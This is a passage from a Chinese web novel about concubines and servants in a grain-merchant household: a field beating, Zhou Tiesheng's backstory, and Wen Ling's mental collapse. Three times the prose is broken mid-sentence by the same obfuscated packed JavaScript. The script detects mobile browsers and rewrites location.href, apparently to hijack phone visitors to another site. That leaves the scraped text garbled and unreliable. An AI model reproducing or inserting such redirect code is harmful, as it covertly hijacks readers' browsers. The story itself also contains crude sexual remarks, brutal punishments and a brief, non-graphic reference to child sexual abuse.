沈素秋听不得这样的专断言行，却无力反驳。邱家为走粮大户，几乎和西南商会垄断了辞水县近是三分之二的民用粮草。府中财政卷帙浩繁，每年秋收前后，光盘账先生就有五六十位。做账半月打底，两班人马，昼夜不迭，每年账本捋码出的高度足以比肩一位成年男子。但这两年因为旱情，“成年男人”也缩水到了胸线，再到腰线，再到大腿根，邱老太爷自然也不能坐以待毙，挺着一身老病残躯，亲自去湘西进米，同时也在信末对太太们严加叮嘱：务必替自己盯紧底下那些佃户，催促生产，确保秋后能够足量上缴。 这些事情原不干这些姨太太们的事，但人活在世，总要张嘴吃饭。这些女人当然明白，自己和邱府一荣俱荣、一损俱损。邱府倒台，她们这些常年娇生惯养的富贵太太哪有能力自力更生。除了本就出身佃户的沈素秋，精于翻耕耙耱，或许能够勉强养活自己外。其余几房，要么是像大太太如芸一样，出自晚清勋贵的世家小姐，要么是如二太太凤霞般的富商之女，再不济，也是三房钟雪樵那般有着商行门面的武行后代，个顶个的十指不沾阳春，令人艳羡也令人生哀。 饭后沈素秋见到了温灵。 被关了这么些天，断水断粮，丰腴如她也变瘦了整整一大圈。就像鲜润的牡丹花被汲干了汁液，干瘪蓬松得一拍即碎。听说她从造梦轩刚放出来时，头也不梳、脸也没洗，扬腿直奔灶房，左拿右抢地提走了蒸屉上三只还没煮熟的烧鸡。 她就这么蹲在人来人往的甬道上，袖管高高撸起，大快朵颐。澄黄的鸡油涂满她的脸，她无暇嗦咬那些烦人的碎骨头，连鸡脖都整根捅进嘴。路过的男男女女笑歪了嘴，看吧，有人说，窑姐儿终于露相了，平日里装得多天之贵女，饿急了比村头农妇还粗鲁野蛮。温灵叫嗓着去你娘的，提着烧鸡满院子追打那些多嘴的奴仆，炊房前鸡飞狗跳一片，好不热闹。 打闹声最终被一声呼喝叫停。 沈素秋循声望去，见天井角下，邱府大小姐邱婉凝正领着一帮子学生装的青年走上前来。 自打上次和自己参加完同学会后，邱婉凝便日日外出频繁，常邀请些同龄青年来府上围读。期间沈素秋扒墙偷听过几句，只听他们说着什么“改革”、“创新”、“封建”、“奴役”之类的话，义盖云天的，像极出征前不知战情凶险的新兵。 “吵什么吵什么？！” 邱婉凝放下手中书册，端出小姐气派。她在留洋第一年就剪去了陪伴自己十六年的粗长的麻花辫，烫了时兴的小羊卷。身上的穿着也从蓝布衫、丝绸袍改成了镶着鸢尾花纱边的西式伞裙。她所有的裙装都在膝盖以上，露出的那双小腿毫无情.欲之感，只剩线条分明的小腿肌和灵敏矫健的步伐。 不似温灵，即便什么也不做，也让男人们口干舌燥，总是联想到那方面上去。 “大早上的就听到你们鬼叫，我看一个个的是还没饿够，今天闹事的，全都给我自己找管家领罚十大板！” 邱婉凝年不过二十，但已有几分母亲傅如芸年轻时的治家风范。她眺过人群，对着不远处隔岸观火的沈素秋望了一眼，随后扶起被撞到在地的温灵，替她拍去身上的灰，让丫鬟椿儿领她回了造梦轩。 “女人何苦为难女人，”邱婉凝后来对沈素秋讲，“这两天你回了娘家，不知道，府里流言纷纷，都是关于这位四姨太的。” “什么流言？” 沈素秋心中一惊，想到那晚在窗外看到她和伙夫交错缠绵，眼神也跟着有些闪躲。 “府上人都说，她的造梦轩是个淫.窝，每天晚上都有不同的男人钻进去。上到家丁男仆，下到外管事的猎户屠夫。说她每晚饥渴，需采阳补阴.......” 邱婉凝自己都觉得越说越不着调。 “可真难听。”沈素秋有些沮丧，“她只是被关了几天，为什么被关，大家心里都有数，干嘛还要这样说她。” “谁说不是。”邱婉凝泄了口气，“人心是最难掌控的东西。二妈为这事骂了他们不少次，可非但没收敛，反而越来越猖獗。我看就该将那些多事的放出府去，自生自灭。等到了外面，吃不饱穿不暖，估计就没力气说闲话了。” 沈素秋明白邱婉凝跟自己说这些看似在讲温灵，也是在提醒自己：越是如此，她和周铁生来往就越是要小心。邱府极为重视女人的贞操，温灵这些话传到邱守成的耳朵里，指不定要闹出多大风波，更别说自己和周铁生了。 拜谢婉凝之后，沈素秋在回霞飞苑的路上得到二房传话，说是午后请各位太太到正门前集合，一同乘坐马车去城外庄子上监工。 这也是老爷在信里的意思，他分身乏术，往年都是自己领着一干家仆去庄上佃户田地里，一坐一下午，看着他们耕作、播种。秋来也一样看着他们收麦、割麦。一是防止有人私藏农货，二也是施威。邱府是守旧派，驭下多严谨，沿袭内廷里的铁腕之治，包括太太们也都必须循规蹈矩，家规就是天规，天规不可违逆。 午后一行太太在数十位壮丁家仆的护送下，一水儿地出现在了辞水县外两里路远的莲花屯的佃田边。邱家在这里有着上百亩的肥水田。可惜因为旱情，水田也变旱田。底下佃农有苦不敢言，旱田土质僵硬，壤砾粗糙，耕耘起来更加费力。才两炷香功夫，沈素秋就看见牛车抬出去好几具尸体，都是热死饿死在田里的佃农，她当然不会忘，曾经父亲也是其中的一员。 “你看那些太太，”监工空隙，周铁生伙同那些庄稼汉子一起，在田边纳凉。其中一个肉壮小伙，望着田埂另一头花花绿绿的姨太们，两眼放光道：“看看那屁股、那奶.子，大的、圆的.......” 男人们发出一阵不怀好意的笑声。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15177956|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那都是让那老东西嘬大的。”其中一个说：“看那个四太太，模样最骚.情。穿得跟锦毛鼠似的，那就是锦毛鼠成的精，张嘴全是带血丝的獠牙，专吸男人元魄！我同乡一个打铁的就是被她吸死的，死的时候，浑身青斑，子孙袋都干巴了，皱得像毛纸。” 那群人脸上露出害怕但又向往的复杂神情。周铁生埋头喝水，一瓢接着一瓢，他感觉自己快要被渴死了。 “倒是那个三太太，”另一头又起，“死人脸一张，一看就不懂得伺候人。跟那个六太太一样，这种女人，多□□几次，□□开化了就放得开了。” 周铁生闻罢汗毛一竖，“哐”一声扔下水瓢，扭头跟那伙子男人厮打在一起。 一片老少爷们的喊打喊杀声里，大太太如芸坐在远处一张改良过的太师椅上，轻摇团扇，露出满脸厌嫌。 “看看这伙子刁民.......刁民！” 管家爷躬着背，微笑着说：“看来还是吃太饱了。回头我就让炊房给下人房的白米饭里掺一半沙子，让他们慢慢挑去。” 众太太面色凝重，连平日里最爱欢娱打闹的温灵，经过这些天的事，也变得郁郁寡言，面目消沉。 “你还好吧？”三太太雪樵伸手碰了碰一边的温灵，看向沈素秋，“你脸色很不好，要不要让下人送你先回去。” 温灵出门前虽做了装扮，抹了粉、描了眉，可还是掩不住眼底的惊惧憔悴。她对着关心自己的三房人笑了笑，气若游丝道：“没事，就是太阳底下有些热，可能是中暑了。” 二房凤霞赶紧让人捧了冰来，用扇子摇着，凉风习习，顿时众人身上凉爽不少。 “禀太太，就是这几个牛虻子闲得没事干，在田头打浑架。” 管家爷提着那些好事的佃农和家佣，将他们挨个用麻绳捆了，一字跪倒在众太太眼巴跟前。 沈素秋稍加一瞥，不出所料看到队列之中的周铁生，看着男人呼哧狂喘的糙脸，好像还怄着气，她这心中更加厌烦。 “我看你们一个个都疯魔了，当着太太们的面都敢拳脚相向，今天打同乡，明天打主人，别以为老爷不在家，把你们一个个都惯得皮松肉痒的，眼里都没了王法！” 管家爷就是大太太如芸的眼舌，管家爷看见什么，说了什么，就是太太看见了什么，说了些什么。傅如芸自视甚高，不爱掺和到这些狗屁倒灶的贱民堆里。 “你们谁先动的手？！” 人群中可想而知地被推出一个周铁生。 “这........” 管家爷面露艰难。 这是老爷从前跟前的红人儿，当初为了赛马的事，他还因为周铁生挨了老爷一巴掌。他心里忌惮着，总觉得周铁生虽为家仆，却有几分薄面，不似寻常家丁可以随意打骂。 “打。” 大太太如芸没有理会管家爷的迟疑，她正了正袖口，从下人手里接过一根戒尺，握在手里摩挲着。 “有什么不能打的？一样的贱皮烂肉，骨子里改不掉的卑劣。” 如芸目光一转，面无表情地将戒尺伸向沈素秋。 “六房，你来掌刑。” 10.第十捧麦 沈素秋脑袋“嗡”地一声，感觉世界都空白了。 “素秋？” 雪樵轻声唤她，“大太太叫你呢。” 她悄悄用手推了她一把。 沈素秋倏地回神，看着伸到自己面前的戒尺，咬了咬唇，接了下来。 “理按邱府家规，先起挑头的，须掌嘴五十戒尺。” 老管家看出端倪，这是大太太和六太太在斗法，行刑之前，不忍又向如芸确认了一遍。 “不关铁生的事！”爱徒心切的毛五冲出人群，跪在众太太跟前，哐哐磕头，“求财东开恩，饶过他这一回，等我回去一定好好管教，不让他再搞这些猫毬狗毬！” 周铁生一字不发，死死盯着沈素秋，他倒有些期待，这个水煮蛋一般的女人会不会真的舍得痛打自己。 正思量着，毛五一把按住他的后脖子，用力往地上埋。 “快跟大太太道歉！快，让她们饶你一命！” 如芸捂了捂面，看向一旁迟迟不见上前的沈素秋，呼斥道：“还不去打？！” 沈素秋手持戒尺，顶着跛足，缓缓上前。 那只被裹藏在绣鞋里的金莲小脚此刻成了一种绝佳的掩护，仿佛她的迟疑并非内心的踯躅，而是生理上的拖累。可大房让自己掌刑的原因也不难猜，傅如芸不是心肠歹毒、没事找事的人，她一定是从下人嘴里听到了些什么，借此敲打自己，也让受刑的周铁生收起那些不该动的贼心思。 “我不怕疼！” 好一张硬嘴，好一副硬骨，刚刚和周铁生肉.搏的几个汉子都露出几分幸灾乐祸的表情。 “太太只管用力打，打死了算我自作孽！”周铁生说，像是要吃掉沈素秋似的，哈喇子倒流进眼睛里，“六太太，像从前我爹抽我尻子一样，打我吧。” 当年两人两小无猜，一家住莲花沟头，一家住莲花沟尾。周铁生自小在村里唯一一家鞋匠铺子里做鞋童。 他是无父无母的人，据说生母是个妓女，生下他后，没满月就把他扔在了粪池子里。是路过的老鞋匠听到啼哭，拿来竹竿将小船儿似的襁褓勾了上来，他请了郎中，为他扎针治病。那时乳婴中大多患有四六风症[1]，这病来势匆匆、去如剥茧。凡是得了这病的娃娃，十个里只能幸存二三。 起先小铁生并不见好转，鞋匠无奈，又托法官来打筮问卜、扬灰作法，独眼的老法官唱唱跳跳，拿着黄符烧成的灰烬，拌着香灰马尿喂铁生喝下。 不出三日，小铁生停止了哭啼，再过七日，眉开眼笑，能够一顿灌下两大碗热羊奶。 老鞋匠从来没说过自己是周铁生的养父，可周铁生把他当成了自己父亲。他跟着鞋匠吃，跟着鞋匠睡，四五岁时就学会了简单的补鞋技术，肉乎乎的小手拿着锉刀，往修鞋铺子前一站，就是块顶天立地的活招牌。 铁生这名字，也是沿袭了老鞋匠的名字。穷人家的孩子取不得什么上台面的文名儿。六岁前，老鞋匠唤他小骡，六岁后，客人们图省事，喊鞋匠老铁生，喊男孩小铁生。久而久之，周铁生这个名字，就成了这对父子共用的文名。 时光如流水迢迢，小铁生很快长成为大铁生。他有雄鹰般锐利的双眼，山熊般辽阔的腰身，他力大如牛，喝酒吃饭海碗论，能单手举起一只缸。然而因为老鞋匠的过去，莲花沟的人都不屑与这对父子同伍。 仅仅是因为，鞋匠年轻时克死过六任妻子。 每个嫁给老鞋匠的女人都会离奇死去，死到最后，老鞋匠心灰意冷，不再娶媳。村里人都说是鞋匠命犯星君，得罪了掌管人间姻缘的天官，因此注定鳏寡一生。 起初遇到铁生时，老鞋匠也以为这娃娃会和那些女人一样被自己克死，结果最后出其不意地活了下来，还挺过了最难捱的四六风症，鞋匠老来欣慰，总算在鸡零狗碎的人生里寻觅到了一点星光。 他这一辈子，也只动手打过铁生两次。 一次是六岁，小铁生放学途中，贪吃冰糖，被一个拍花子拐到了草棚，让他摸自己那里。铁生为了吃糖，按他的话捏了一把，小小六岁孩儿，尚且不懂那东西有什么用，只觉得人人都有，自己也有，有什么不能摸？ 后来被同乡的人看见，赶走了那拍花子，把铁生送了回去。得知事情原委后的老鞋匠直接扒了铁生的裤子，拿来柳条照着他的尻子抽了百十来下。直到尻子肿得跟泡发了的白馍一样膨胀，方才罢手。那段日子铁生走路一直都得捂着屁股，更不敢随意贪吃别人的冰糖。 第二次，则是跟着几个同乡小伙劫掠了一家药铺，抢来的药材给一个将死的寡妇治病。 那寡妇独居多年，丈夫因为偷吃苞米被乡绅乱棍打死，不日后寡妇肚子里的孩子也流了，多年不曾有孕。后来有年地方流寇作乱，辞水县县令和匪寇串通一气，搜刮民脂，放任他们夜闯寡妇家中，不久后，寡妇就有了身孕。 好不容易挺过十月怀胎，又逢胎大难产，十六岁的周铁生看着女人分娩时的痛苦模样，突然想到自己那连面都没见过的母亲。他想母亲生自己时，是否也是这样生不如死、泪贯满盈。 他发了慈心，跟几位玩伴一撺掇，决定去搞点药材。但又没钱，只能靠抢，还有一点他到最后都没告诉痛打自己的老鞋匠：那药铺正是县令家的私产，抢些过来，无伤大雅，他到现在都不觉得自己错了。 但那一次却被鞋匠打得很惨，人长大了，藤条也换成了木锨，鞋匠照着男人的尻子就是一顿猛砸。打得血淋淋一片，筋肉和片儿裤黏成一坨，周铁生躺了三个月炕才缓过劲来。 鞋匠闭眼那天，他把男人叫到跟前，递给他一袋冰糖。 那是他留给男人仅有的一点遗产。 铁生跪在床前，一边吃糖，一边泪流。老铁生细数人生之种种罪过，譬如那六个被自己克死的无辜妻子，譬如年轻时为了要强，跟父母决裂。又譬如曾经失手踩死过一只小鸡。一件事一件事念过去，到最后，谈到男人抢劫药铺的事。 原来当初周铁生抢完铺子之后，自认为神不知鬼不觉，即便最后孕妇和孩子都没能保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180597|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住。但人家县令爷早就查到了老鞋匠身上，县令爷说，你拿全部身家抵你家崽一命，这事就当从没发生。 鞋匠能有什么身家？唯一算得上资产的，就是那间破破烂烂的鞋铺。那铺面是鞋匠年轻时靠着血泪积攒下的私产，也是他赖以为生的根据。那天他一个人在铺子门前坐了很久，夜里把周铁生狠狠打了一顿，第二天大早，在县令爷那儿签了字据，画了押。 不到半年，鞋匠重病不起，很快就殡了天。 头七那天，周铁生用草席裹着养父尸体，沿街求讨，想送他风光下葬，给他最后一个体面。 沿途经过曾经的修鞋铺时，那里已改做官家学堂，里外扩建数百丈，吞并了不少周围商铺。辞水县和周边县城里有钱人家的小公子、小少爷们在各自家佣、姆妈的护送下，来到这里聆听圣贤教诲。踩踏过的门槛，落在周铁生眼里，是用另一个周铁生的尸骨修砌而成。 一样的周铁生，和无数个周铁生。 “啪”一声戒尺落下，虽是打嘴，男人却觉得屁股额外地疼。 他闭上眼睛，想象在打自己的不是沈素秋，而是自己的父亲，这疼痛竟也有些美妙。 “不够用力，”傅如芸对周铁生身边一个年轻小伙说，“你来示范。” 那小伙正愁没处泄恨，刚刚也是他和周铁生撕扯得最狠，这下寻了机会，近乎是上赶着拿过戒尺，照着男人的嘴巴子，全力抽了过去。 用劲太大，男人被直接掀翻在地，唇周淤肿一片，两片嘴唇像两根涂满红油的猪肠一般。高高隆起。 悲惨却又滑稽的模样，逗得周围人发笑。戒尺回到沈素秋手上，她别过头去，学做刚刚那人的样子，尽量避开淤肿，一尺子扇到了他脸上。 男人“咚”一声倒地，唇角渗出鲜血。他无所畏惧，引吭高吼，又是那曲信天游—— “三月里那个太阳红又红/ 为什么我赶脚人儿呦这样苦命/ ....... 离家的那个到如今三年整/ 不知道我的那妻儿呦还在家中/ ........ 说四十里长涧羊羔山/ 说好婆姨出在我们张家畔/ ....... 说卯底里下去我把朋友看/ 不唱山曲不好了盛/ 唱上一个山曲想亲人/ 说唱上了一个山曲想亲人......” ........ 歌声清透嘹亮，响彻乡野。伴随着唱一句被打一尺的节奏，唱到最后，周铁生喷出嘴的，是无尽深红的血。 “好.......打得好.......” 男人饮血狂笑，“打得好啊！太太打得好！” 沈素秋魂不守舍地丢下戒尺，飞似的逃到雪樵怀中，浑身惊搐，不敢看他。 半晌，她从女人臂弯里抬起头来，露出那双泪汪汪的眼睛，对大太太恨恨地说：“那其他打他的人，是不是也得挨五十戒尺？” 11.第十一捧麦 “那是当然。” 如芸面不改色。 “我向来不刻意针对谁，万事只求一个公平。” 沈素秋又说：“那烦请夫人恩准，一样让我来掌刑。” 她眼里有了杀心。 傅如芸擦了擦嘴角，又抿了口茶，纤手微抬，沈素秋顿时明白了她的意思。 她重新接过管家爷手上的戒尺，一步步朝那些爷们走去。后来的事其余人都不太愿意回忆，包括沈素秋自己。 ........ ........ 踏入大太太的宛陶居时，傅如芸正和管家爷说话。见沈素秋带着一身藏红花油气味站在院子中，她叫退了管家，将她请进了屋里说话。 “今天的事，我特意来找太太谢恩。” 沈素秋扶着自己发酸的手肘，抡了一下午戒尺，连藏红花油都无法缓解肌肉的疼痛。 “谢我？”傅如芸笑了，挥手请她上坐，“不应该是怪我吗？” “夫人并非好事之人，”沈素秋读书不多，却保留了父亲沈看山身为读书人的口癖，说话文绉绉的，像是旧学堂里的国文老师，“今天夫人让我给周相[1]上刑，是为了提醒我，老爷回府在即，许多事情，做狠做绝，才能免去老爷疑心。” “你倒是聪明。” 傅如芸笑了笑，示意下人将一早备好的药油、绷带等呈了上来。 她说：“上次回信中，老爷已经知道他回府的消息。心中喜悦，却也多猜忌。他清楚你跟周铁生从前的那些事，当初将他赶出府去，也是怕你们藕断丝连。现在他回来了，你也嫁进府里三年了，彼此的温情旖旎应该都消磨得差不多了。可老爷心里还是忌惮，信中特意让我看好你们两个，别又眉来眼去，做出些伤天害理的事，其他的我就不多说了。” 沈素秋深深低着头，只觉身负千斤巨石，压得她喘不过气。 “你虽不是几房太太里最貌美的，也不是最得宠的，但在老爷心里，还算是有些份量。” 傅如芸说这话时，表情无波无澜，仿佛夫妻情爱于她而言，早已是老宅墙头的一抔死灰，被扫去了，也无关痛痒。 “这男人呐，要真爱女人，往往有两种表现。” 她捡起一颗罗汉果，放进嘴里，慢慢咀嚼着。 “一种是明面上的爱，轰轰烈烈，锣鼓喧天。把女人当军功章，挂在心口上，走哪都恨不得炫耀和展示，尽全力给她最好的。穷尽一切手段让别人知道那是他最爱的女人，爱护她，就像爱护那些荣耀的勋章，放在考究的玻璃柜子里，日夜擦拭，轻揉慢挑，手拿把掐，当眼珠子般来疼。” “恰如老爷对温灵。” 傅如芸一声苦笑。 “还有一种，是背地里的爱。得不到，却又想要。不敢宣之于口，只能深藏在心里。比之军功章，这样的女人像是压箱底的旧画报。每个男人一生中只会记得一张旧画报，他们对着画报上的女人，极尽肖想，把他们所能想到世界上所有的风流绮梦都承载在那张画报上。 可画报终究是死物，不会对自己动心，上面的女人更不会从纸里走出来。他们往后人生中或许会遇到很多新的画报，纸质更好，印刷更漂亮，可再怎么样，都比不过最初的那张。他们生病时、放空时、伤心沮丧时，还是会怀念那张旧画报，因为得不到就是最好。” “恰如老爷对雪樵。” 沈素秋懂了。 “说这么多，”傅如芸对窗空想，“那么你呢？素秋，你觉得你在爷们心里，是军功章还是旧画报？” “是冰糖。” 沈素秋笑了，露出女学生一样的好颜色。 “我觉得.......我是一袋冰糖。” “为什么是冰糖？” “因为冰糖它纯粹、不掺杂质，看起来像冰块，却又比冰块甜。” 沈素秋想起和某人初识时的情景，那时自己不过和他只是六七八岁的孩童。为着养父的过去，周铁生遭到村里孩子的排挤。那时她下学时常看到他被一群娃娃搞花觉[2]。他们拉着周铁生的衣角，叫他“小瓜皮”，那个修鞋的，是老瓜皮。 大瓜哺小瓜，小瓜吃大瓜，他们都说，周铁生晚上和老子睡一个被窝，用嘴巴帮他老子解决。 这样荒唐恶心的传闻自然次次激怒年轻气躁的小铁生，他跟那群娃娃们打成一团，从田间打到沟里，从白天打到黑夜。 有一次，他输了，被六七个娃娃拖进泥坑里，他们朝他身上撒尿，命令他像服务他老子那样，用嘴巴服务他们。小铁生气不过，冲上去打得更凶了，结果是他被那群人扣烂了好大一块皮，最重要的是，他们撕烂了鞋匠给自己精心缝制的褡裢。 他不敢告诉老瓜皮，小瓜皮在外不争气，才做好的新褡裢，刚戴在身上没两天就被扯成了碎布条。小铁生踩着月亮，坐在麦垛下哭，他拿着借来的针线，学着鞋匠的手艺，想重新补上。 哭声吵醒了在睡懒觉的沈素秋。 她叼着一根麦穗，看着男孩湿润润的大眼睛，追问事情经过。第二天由她和哥哥护送小铁生上下学，回家路上，不可避免地撞见了那群闹事的娃娃。 于是两方数量悬殊的人马开始孩子间的激斗，沈素秋拿着石头，朝那些男孩脸上划拉。她在三人中身板最小，却出手最狠，打得那些小娃各个叫祖宗奶奶。兴许是受到女孩的鼓舞，周铁生也发挥出了超乎过往的实力，他和个头差不多的沈临春一起，把那些人打得呼爹喊娘，哭着逃走了，从此再也不敢欺负自己。 从那以后，三人成了形影不离的死对子。 为了安慰先前被打还被说成小瓜皮的周铁生，沈素秋从母亲沈赵氏的柜子里，偷出一袋冰糖送给了男孩。 她以为铁生会和自己一样，钟情这种冰冰凉凉、甜甜蜜蜜的偏食，那是她觉得人世间最难得的东西。 可收到冰糖的铁生却面色凝重，他满是害怕地把那袋冰糖推了出去。糖块掉进垦沟里，被水冲得一干二净，沈素秋骂他不识好歹，这么难得的偏食她自己都舍不得吃，他还这样浪费。 那时她还不知道铁生被拍花子勾走的事。 后来知道了，两人已私定终身。少男少女已经长大，彼此都发育成了浑圆饱满的身躯，都拥有熠熠不熄的眸光。他们在村子四处无人的角落里欢乐，事后沈素秋抱着他，满是娇羞地听男人讲他过去的故事。那时她才知道，周铁生小时候因为贪嘴冰糖，上过拍花子的当。 他对冰糖又爱又怕，乃至多年后，都觉得女人就像冰糖，是像祸端一般让人又上瘾又惶恐的存在。 月色娴静如水。 周铁生艰难地在炕上翻了个身，他被打得猪头肿脸的，连带着浑身上下都冒着虚汗。 毛五掌着油灯走近炕前，将那十几瓶药油、绷带悉数放在矮脚桌上。他让男人把嘴撅起来些，像猪屁股那样，为他小心点涂。周铁生忍着药油的刺痛，身上汗流如瀑，不一会儿就打湿了衣裳。 “这都是大太太赏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188797|164821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的，”毛五声如水漏，总有种断断续续的感觉，“她仁心妙善，不忍你留疤，明天天亮记得去谢恩。” 周铁生撅着嘴，看到那些瓶瓶罐罐间摆着几粒白色的冰糖，亮如碎星。 “疼吧？”毛五拿起一颗冰糖，塞进他嘴里，“疼就吃糖，甜能祛痛。” “这也是大太太赏的？” 他努力让自己吐字清晰。 “是。” 毛五笑了，给了他一抹脖子。 “你个臭小子，有糖吃就傻笑。傻笑个啥子劲？” 周铁生体觉瞬间痊愈了，什么嘴淤，什么脸肿，通通没有了。他像吞了太上老君仙丹一般，感觉全身充满了牛劲。 “涂了药就别乱动。”毛五替他拉好被子，颤颤巍巍地拿着托盘走出门去。 看着他骨瘦如柴的背影，周铁生又想到了死去的父亲。 他夜里还是没忍住，冒着再次受刑的风险，钻进了沈素秋的霞飞苑。 “素秋，”他躬在窗外，知道某人没睡，“你送我冰糖，我欢喜咧。” 他嘴还是肿肿的，说话吐字有些浑重，更显得憨傻。 “我来就是告诉你一声，我没事，你别为我担心。” 里头安安静静一片，这种过分的安静，反而验证了有人在有意地克制。 “我不能待太久，”男人的声音压得更低了，“只跟你说最后一句。” “当年的事非我所能掌控，我是人，不是神。我没法像话本里的二郎显圣真君一样，手眼通天地庇护你。” “你恨我、怨我，我都领受，只是你别对自己置气。” 周铁生摸了摸肿胀的嘴唇，消了一些，但没完全消。 有一些爱，但又没有完全爱。 “你要气不过，就像今天一样打我，我只是被你打了嘴，你还可以打我身上，打我腿，打我屁股.......我屁股大，你可以换着地方，分好几次打.......” 他絮絮叨叨，乐此不疲，早已超出一句话的范畴。 “好了，我走了，你睡吧。” 周铁生挠了挠头，蹿进一丛草里。盘算着是原路返回还是另寻路线。 只听“吧嗒”一声，从窗里扔出一块布。 男人匪夷所思地爬过去将那布捡了起来，揣在了怀里。 他没工夫思索，一路潜行飞奔到安全处，又确认了一番四下无人后，借着月光，抽出了那块碎布来细看。 是他儿时的那块褡裢，那个被扯烂的破褡裢，鞋匠给他缝制的褡裢。女人用细密的针脚替他修补得焕然如新，内衬里还纹上了别致的水云纹，外头是两只小老虎的图案，一只只有三只脚，一只有五只。 周铁生小心藏好，头也不回地奔跑在月色里。 晚风醉人，他有点想哭。 “铁生。” 背后有人叫他。 男人回过头，看到一个女孩站在月亮下，对着身边的男孩说：“上了学堂就要有好褡裢，你把你那个破的先给我，我给你补补，补好了还你。” 她从怀里掏出一个新的，搭在男孩肩上，“这个你先用着，我缝得不好，但也能先顶一阵子。” 男孩听话地点了点头，看着上面歪歪扭扭的针脚，心想，真丑，还不如我自己缝的。 过去这么多年，怎么缝得还是这么丑呢？ 男人拿着失而复得的褡裢，对着霞飞苑的方向瘪嘴笑了笑，他擦去眼里一点吝啬的光，扭头溶进月色中。 12.第十二捧麦 温灵的精神变得越来越不好。 甚至于到了龙王节正当盛势的那一天，她都没缓过来。 大房二房的人都邀着去渭河边放莲花灯、看舞草舟，府里大半佣人都跟去了，只剩不爱热闹的六房沈素秋和三房钟雪樵守家。 四太太温灵自然也没跟去。蜷缩在她的造梦轩里，像婴儿蜷缩在母亲的子宫里。半个月都没怎么出门。 沈素秋和钟雪樵一起去看她，发现都快认不出她了。温灵就这样苍白如纸地横在那张绣床上，衣不蔽体，蓬头垢发。 但即便如此，她还是那样漂亮，西施病了，也还是病西施。相比从前的恃美行凶，现在的她仿若风中蒲柳，更让人有了些怜惜之感。 “二房的人已经跟我说了，”温灵抱着沈素秋的手，闪烁其词：“那丫头死了.......” “什么那丫头？哪个丫头？” 雪樵不懂。 “就是之前那个被我打残了的丫头！”她一下变得激动起来，抄起剪刀，紧紧握在手中，“那个死女人、小贱.货！敢咒我。她骂我是妓.女，是婊.子，说我要被男人戳烂........” 剪刀又被“啪”一声丢下，她抱着沈素秋的手，整副身子抖若筛糠，“我不是故意要害死她的，我真的不是故意要把她打残的.......我不是故意的！” 沈素秋同钟雪樵对望了一眼，无声地掩去了各自眼里的光。 “她最近每天晚上都来找我，她就站在那里——” 她指了指两人身后。 “她站在窗户后，伸出千百只手，每只手上长满了眼睛和嘴。每张嘴里都在重复婊.子，婊.子婊.子婊.子婊.子婊.子.........全都是婊.子！这屋子里全都是婊.子！” 她举起手边的枕头，朝窗户砸了过去。 “你病了。” 沈素秋说，“夫人知道了这件事，让我们好好照看你。郎中下午就过来替你扎针。” 钟雪樵轻轻抚摸着她的头发，“老四，会好的。一针下去，立竿见影，老爷还等着你给他唱戏。” 当年温灵在花街红噪一时，一首《西厢》万人空巷。她是秦地女子，却额外钟情南国情调，另一首《秦淮八艳》也是，经她一唱，变得热烈明媚，像煮开了的秦淮河水，将人烫出一身鸡皮疙瘩。尤其那句“商女不知亡国恨”，下半句她自己改了，“寂寞空庭春.欲晚。” 她总是有很多自己的小花心思，像一只狡黠的狐。 “老爷.......”狐狸也还是累了，她变得神魂缥缈，目光游离，“邱守成.......呵呵......那个老货。” “你们知不知道，他每天晚上都要我脱光衣服，趴在地上，像条狗似的叼着他的鞋袜，在这屋子里爬来爬去........？” 女人泪如泉涌，哭得快要喘不上气。 “爬过来又爬过去，爬过去又爬过来.......他也会这么对你吗？素秋？”她看向六房，又看看三房，“雪樵？那老东西也会这么对你们吗.......？” 温灵从她们的眼睛里品读出诧异，那种诧异更让她心痛，因为这意味着，恐怕真的只有自己是这样，邱守成只有对自己才会这样。那个王八蛋从来没把自己当成过一个人，从始至终都是一只狗，汪汪汪地叫。叫得开心了，赏几块肉，摸一摸头。不开心了，一脚踢开，自有别的去处。 这跟春禧街的那些狸客们有什么区别？今天想来就来，明天不想来就在家陪老婆。不陪老婆，也有的是其他“温灵”，好多温灵，无穷无尽的温灵。漫天飞舞的温灵。 “我常常在想，我究竟是一个多下贱的人？他们要这么对我........” 温灵挣开两个女人的臂弯，挣扎着从床上爬起来，光脚踩在地上，像一抹丝绸般搭在窗台上。 风一吹，她像是要飘走了。 快一起来吧，像梦里那个被自己打死的姑娘那样，来吧，地府比邱府快乐很多。 “你别乱说了。” 雪樵怏怏地摇了摇头。 “让人听到了，传到老爷耳朵里，你就死定了。” “谢谢你们还肯来看我。” 温灵看着窗外，她哭不动了，有啥好哭的呢，哭完了还是这样，哭是没有用的。 “告诉大房二房，我好得很，不用找人来扎针。” 她擦了擦泪，眼里找回点从前的光芒，像是真的恢复过来了一样。 